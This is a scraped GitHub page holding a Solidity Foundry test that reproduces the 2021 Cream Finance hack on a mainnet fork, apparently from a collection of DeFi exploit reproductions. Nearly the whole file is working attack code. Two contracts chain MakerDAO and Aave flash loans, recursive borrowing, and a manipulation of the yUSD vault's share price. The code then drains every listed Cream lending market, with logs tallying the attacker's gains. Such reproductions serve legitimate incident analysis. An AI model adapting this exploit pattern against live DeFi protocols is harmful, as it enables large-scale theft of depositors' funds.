forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Cream_2_exp.sol
318 lines (276 loc) · 15.7 KB
/
Cream_2_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @Analysis
// https://medium.com/immunefi/hack-analysis-cream-finance-oct-2021-fc222d913fc5
// @TX
// https://etherscan.io/tx/0x0fe2542079644e107cbf13690eb9c2c65963ccb79089ff96bfaf8dced2331c92
// @Credit
// https://github.com/Hephyrius/Immuni-4-CREAM/tree/main/contracts/CREAM
// @Summary
// FirstContarct: MakerDao FlashLoan 500M DAI -> Convert to yUSD -> yUSD mint crYUSD in CreamFinance,crYUSD as collateral, velue: $500M -> secondContract: ->Aave FlashLoan 524_000 ETH -> send 6000 ETH to FirstContarct, other mint crETH in CreamFinance, crETH as collateral, value: $2B ->twice borrow about $500M yUSD to mint crYUSD, send to FirstContarct,now the FirstContarct collateral value: $1.5B -> borrow 500M yUSD send to FirstContarct -> FirstContarct: withdraw yUSD to 4-Curve token double the price crYUSD collateral ->now the FirstContarct collateral value: $3B, borrow fund -> $2B repay Aave FlashLoan, $500M repay MakerDao FlashLoan -> theoretically, there a 500M profit margin
interface YDAI is IERC20{}
interface YVaultPeakProxy{
function redeemInYusd(uint256 dusdAmout, uint256 minOut) external;
}
interface IYearnVault {
function deposit(uint amount) external;
function withdraw(uint amount) external;
function pricePerShare() external view returns(uint256);
function totalAssets() external view returns(uint);
}
interface ICurveDepositor {
function add_liquidity(uint256[4] memory amounts, uint256 min_mint_amount) external;
function remove_liquidity_imbalance(uint256[4] memory amounts, uint256 max_burn_amount) external;
function remove_liquidity_one_coin(uint256 _token_amount, int128 i, uint256 min_uamount, bool donate_dust) external;
}
interface ICether {
function borrow(uint borrowAmount) external returns (uint);
function mint() external payable;
function underlying() external view returns(address);
}
interface ICrToken {
function borrow(uint256 borrowAmount) external;
function mint(uint256 mintAmount) external;
function underlying() external view returns(address);
function getCash() external view returns(uint);
}
interface IComptroller {
function enterMarkets(address[] memory cTokens) external;
// function getAccountLiquidity() external view returns(address[] memory markets);
}
contract SecondContract {
address contractAddress;
IComptroller comptroller = IComptroller(0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258);
IAaveFlashloan AaveFlash = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
address constant yUSD = 0x4B5BfD52124784745c1071dcB244C6688d2533d3;
address constant crYUSD = 0x4BAa77013ccD6705ab0522853cB0E9d453579Dd4;
address constant aWETH = 0x030bA81f1c18d280636F32af80b9AAd02Cf0854e;
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address constant crETH = 0xD06527D5e56A3495252A528C4987003b712860eE;
function justDoIt(address paramAddress) public{
contractAddress = paramAddress;
address[] memory assets = new address[](1);
assets[0] = address(WETH);
uint256[] memory amounts = new uint256[](1);
amounts[0] = 524_102 * 1e18;
uint256[] memory modes = new uint[](1);
modes[0] = 0;
console.log("[7. Aave FlashLoan 524_102 WETH]");
AaveFlash.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external payable returns (bool) {
// console.log("The WETH amount: ", WETH.balanceOf(address(this)) / 1e18);
console.log("[8. Transfer 6000 WETH to first contract]");
WETH.transfer(contractAddress, 6000 * 1e18);
console.log("[9. Convert WETH->ETH->crETH, the second contract collateral in Cream.Finance]");
address(WETH).call(abi.encodeWithSignature("withdraw(uint256)", 518_102 * 1e18));
ICether(crETH).mint{value: 518_102 ether}();
console.log("[10. Cream.Finance crETH enterMarket]");
address[] memory markets = new address[](1);
markets[0] = crETH;
comptroller.enterMarkets(markets);
console.log("------------Recursion------------");
console.log("[11. repeatedly borrow yUSD to mint crUSD, send to first contract, add the first contract conllateral");
IERC20(yUSD).approve(crYUSD, type(uint).max);
ICrToken(crYUSD).borrow(IERC20(yUSD).balanceOf(crYUSD));
ICrToken(crYUSD).mint(IERC20(yUSD).balanceOf(address(this)));
IERC20(crYUSD).transfer(contractAddress, IERC20(crYUSD).balanceOf(address(this)));
ICrToken(crYUSD).borrow(IERC20(yUSD).balanceOf(crYUSD));
ICrToken(crYUSD).mint(IERC20(yUSD).balanceOf(address(this)));
IERC20(crYUSD).transfer(contractAddress, IERC20(crYUSD).balanceOf(address(this)));
console.log("The crYUSD amount in first contract: ", IERC20(crYUSD).balanceOf(contractAddress) / 1e8);
console.log("[12. borrow yUSD and send to first contract]");
ICrToken(crYUSD).borrow(IERC20(yUSD).balanceOf(crYUSD));
IERC20(yUSD).transfer(contractAddress, IERC20(yUSD).balanceOf(address(this)));
console.log("------------Jump first contract------------");
contractAddress.call(abi.encodeWithSignature("doIt()"));
console.log("[15. Repay Aave FlashLoan]");
WETH.approve(address(AaveFlash), type(uint).max);
return true;
}
receive() payable external{}
}
contract ContractTest is DSTest{
IDaiFlashloan DaiFlash = IDaiFlashloan(0x1EB4CF3A948E7D72A198fe073cCb8C7a948cD853);
ICurvePool curvePool = ICurvePool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
IComptroller comptroller = IComptroller(0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258);
ICurveDepositor curveDepositors = ICurveDepositor(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);
YDAI yDAI = YDAI(0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01);
Uni_Router_V3 Router = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);
IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 DUSD = IERC20(0x5BC25f649fc4e26069dDF4cF4010F9f706c23831);
IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 yDAI_yUSDC_yUSDT_yTUSD = IERC20(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8);
address constant curveDepositor = 0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3;
address constant yUSD = 0x4B5BfD52124784745c1071dcB244C6688d2533d3;
address constant crYUSD = 0x4BAa77013ccD6705ab0522853cB0E9d453579Dd4;
address constant DUSDPOOL = 0x8038C01A0390a8c547446a0b2c18fc9aEFEcc10c;
address constant PeakProxy =0xA89BD606d5DadDa60242E8DEDeebC95c41aD8986;
address constant crDAI = 0x92B767185fB3B04F881e3aC8e5B0662a027A1D9f;
address constant crUSDT = 0x797AAB1ce7c01eB727ab980762bA88e7133d2157;
address constant crUSDC = 0x44fbeBd2F576670a6C33f6Fc0B00aA8c5753b322;
address constant crETH = 0xD06527D5e56A3495252A528C4987003b712860eE;
address constant crCRETH2 = 0xfd609a03B393F1A1cFcAcEdaBf068CAD09a924E2;
address constant crFEI = 0x8C3B7a4320ba70f8239F83770c4015B5bc4e6F91;
address constant crFTT = 0x10FDBD1e48eE2fD9336a482D746138AE19e649Db;
address constant crPERP = 0x299e254A8a165bBeB76D9D69305013329Eea3a3B;
address constant crRUNE = 0x8379BAA817c5c5aB929b03ee8E3c48e45018Ae41;
address constant crDPI = 0x2A537Fa9FFaea8C1A41D3C2B68a9cb791529366D;
address constant crUNI = 0xe89a6D0509faF730BD707bf868d9A2A744a363C7;
address constant crGNO = 0x523EFFC8bFEfC2948211A05A905F761CBA5E8e9E;
address constant crSTETH = 0x1F9b4756B008106C806c7E64322d7eD3B72cB284;
address constant crXSUSHI = 0x1F9b4756B008106C806c7E64322d7eD3B72cB284;
address constant crYGG = 0x4112a717edD051F77d834A6703a1eF5e3d73387F;
address secondContract;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("mainnet", 13499797);
}
function testExploit() public{
SecondContract exploitContract = new SecondContract();
secondContract = address(exploitContract);
console.log("[1. Beigin]");
console.log("------------Acquire Capital------------");
console.log("[2. MakerDao FlashLoan 500_000_000 DAI]");
DaiFlash.flashLoan(address(this), address(DAI), 500_000_000 * 1e18, "");
console.log("[17. End]");
console.log("------------Proift------------");
console.log("Attacker WETH balance after exploit: ", WETH.balanceOf(address(this)) / 1e18);
console.log("Attacker crDAI balance after exploit: ", withdrawUnderlying(crDAI) / 1e18);
console.log("Attacker crUSDT balance after exploit: ", withdrawUnderlying(crUSDT) / 1e6);
console.log("Attacker crUSDC balance after exploit: ", withdrawUnderlying(crUSDC) / 1e6);
console.log("Attacker crETH balance after exploit: ", withdrawUnderlying(crCRETH2) / 1e18);
console.log("Attacker crCRETH2 balance after exploit: ", withdrawUnderlying(crDAI) / 1e18);
console.log("Attacker crFEI balance after exploit: ", withdrawUnderlying(crFEI) / 1e18);
console.log("Attacker crFTT balance after exploit: ", withdrawUnderlying(crFTT) / 1e18);
console.log("Attacker crPERP balance after exploit: ", withdrawUnderlying(crPERP) / 1e18);
console.log("Attacker crRUNE balance after exploit: ", withdrawUnderlying(crRUNE) / 1e18);
console.log("Attacker crDPI balance after exploit: ", withdrawUnderlying(crDPI) / 1e18);
console.log("Attacker crUNI balance after exploit: ", withdrawUnderlying(crUNI) / 1e18);
console.log("Attacker crGNO balance after exploit: ", withdrawUnderlying(crGNO) / 1e18);
console.log("Attacker crXSUSHI balance after exploit: ", withdrawUnderlying(crXSUSHI) / 1e18);
console.log("Attacker crSTETH balance after exploit: ", withdrawUnderlying(crSTETH) / 1e18);
console.log("Attacker crYGG balance after exploit: ", withdrawUnderlying(crYGG) / 1e18);
}
function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) external returns (bytes32) {
// console.log("The DAI amount in contract: ", DAI.balanceOf(address(this)) / 1e18);
console.log("[3. deposit DAI to YearnVault get yDAI]");
DAI.approve(curveDepositor, type(uint).max);
// Impersonate the attacker's function call revert the unknown error, instead of another trace
// yDAI.deposit(DAI.balanceOf(address(this)));
// console.log("The yDAI amount in contract: ", yDAI.balanceOf(address(this)) / 1e18);
// console.log("[3. deposit yDAI to Yearn 4-Curve Pool get yUSD]");
// yDAI.approve(address(curveDepositor), type(uint).max);
uint256[4] memory amounts = [DAI.balanceOf(address(this)), 0, 0, 0];
ICurveDepositor(curveDepositor).add_liquidity(amounts, 1);
// console.log("The yDAI_yUSDC_yUSDT_yTUSD Token amount: ", yDAI_yUSDC_yUSDT_yTUSD.balanceOf(address(this)) / 1e18);
console.log("[4. deposit yDAI_yUSDC_yUSDT_yTUSD to get yUSD]");
yDAI_yUSDC_yUSDT_yTUSD.approve(yUSD, type(uint).max);
IYearnVault(yUSD).deposit(yDAI_yUSDC_yUSDT_yTUSD.balanceOf(address(this)));
// console.log("The yUSD amount: ", IERC20(yUSD).balanceOf(address(this)) / 1e18);
console.log("[5. use yUSD to mint crYUSD, the first contract collateral in Cream.Finance]");
IERC20(yUSD).approve(crYUSD, type(uint).max);
ICrToken(crYUSD).mint(IERC20(yUSD).balanceOf(address(this)));
console.log("The crYUSD amount in first contract: ", IERC20(crYUSD).balanceOf(address(this)) / 1e8);
console.log("[6. Cream.Finance crYUSD enterMarket]");
address[] memory markets = new address[](1);
markets[0] = crYUSD;
comptroller.enterMarkets(markets);
console.log("------------Jump second Contract------------");
secondContract.call(abi.encodeWithSignature("justDoIt(address)", address(this)));
console.log("[16. Repay DAI FlashLoan]");
amounts[0] = 445331495265152128661273376;
curveDepositors.remove_liquidity_imbalance(amounts, yDAI_yUSDC_yUSDT_yTUSD.balanceOf(address(this)));
yDAI.withdraw(yDAI.balanceOf(address(this)));
USDCToDAI();
// console.log("The DAI amount: ", DAI.balanceOf(address(this)) /1e18);
DAI.approve(address(DaiFlash), type(uint).max);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
function doIt() external{
console.log("[12. WETH->USDC->DUSD->YUSD]");
WETHToUSDC();
USDC.approve(DUSDPOOL, type(uint).max);
IcurveYSwap(DUSDPOOL).exchange_underlying(2, 0, 3726501383126, 0);
DUSD.approve(PeakProxy, type(uint).max);
YVaultPeakProxy(PeakProxy).redeemInYusd(DUSD.balanceOf(address(this)), 0);
console.log("The yUSD amount in first contract: ", IERC20(yUSD).balanceOf(address(this)) / 1e18);
console.log("------------Inflation------------");
console.log("[13. Pump the pricePerShare]");
console.log("pricepershare start : ", IYearnVault(yUSD).pricePerShare() / 1e18);
IYearnVault(yUSD).withdraw(IERC20(yUSD).balanceOf(address(this)));
// withdraw yUSD to yDAI_yUSDC_yUSDT_yTUSD
yDAI_yUSDC_yUSDT_yTUSD.transfer(yUSD, IYearnVault(yUSD).totalAssets());
console.log("pricepershare end : ", IYearnVault(yUSD).pricePerShare() / 1e18);
console.log("------------HeistAndRepay------------");
console.log("[14. borrow token from Cream.Finance]");
borrowAll();
address(WETH).call{value: 523_208 ether}("");
WETH.transfer(secondContract, 524_574 * 1e18);
}
function WETHToUSDC() internal{
WETH.approve(address(Router), type(uint).max);
Uni_Router_V3.ExactOutputSingleParams memory _Params = Uni_Router_V3.ExactOutputSingleParams({
tokenIn: address(WETH),
tokenOut: address(USDC),
fee: 3000,
recipient: address(this),
deadline: block.timestamp,
amountOut: 7_500_000 * 1e6,
amountInMaximum: 5_000 * 1e18,
sqrtPriceLimitX96: 0
});
Router.exactOutputSingle(_Params);
}
function USDCToDAI() internal{
USDC.approve(address(Router), type(uint).max);
Uni_Router_V3.ExactOutputSingleParams memory _Params = Uni_Router_V3.ExactOutputSingleParams({
tokenIn: address(USDC),
tokenOut: address(DAI),
fee: 500,
recipient: address(this),
deadline: block.timestamp,
amountOut: 6_356_555 * 1e18,
amountInMaximum: 6_451_883 * 1e18,
sqrtPriceLimitX96: 0
});
Router.exactOutputSingle(_Params);
}
function borrowAll() internal{
borrowAllETH();
borrowTokens(crDAI);
borrowTokens(crUSDC);
borrowTokens(crUSDT);
borrowTokens(crFEI);
borrowTokens(crCRETH2);
borrowTokens(crFTT);
borrowTokens(crPERP);
borrowTokens(crRUNE);
borrowTokens(crDPI);
borrowTokens(crUNI);
borrowTokens(crGNO);
borrowTokens(crXSUSHI);
borrowTokens(crSTETH);
borrowTokens(crYGG);
}
function borrowAllETH() internal{
ICether(crETH).borrow(523_208 * 1e18);
}
function borrowTokens(address token) internal{
ICrToken(token).borrow(ICrToken(token).getCash());
}
function withdrawUnderlying(address token) public returns(uint amount) {
address underlying = ICrToken(token).underlying();
amount = IERC20(underlying).balanceOf(address(this));
}
receive() payable external{}
}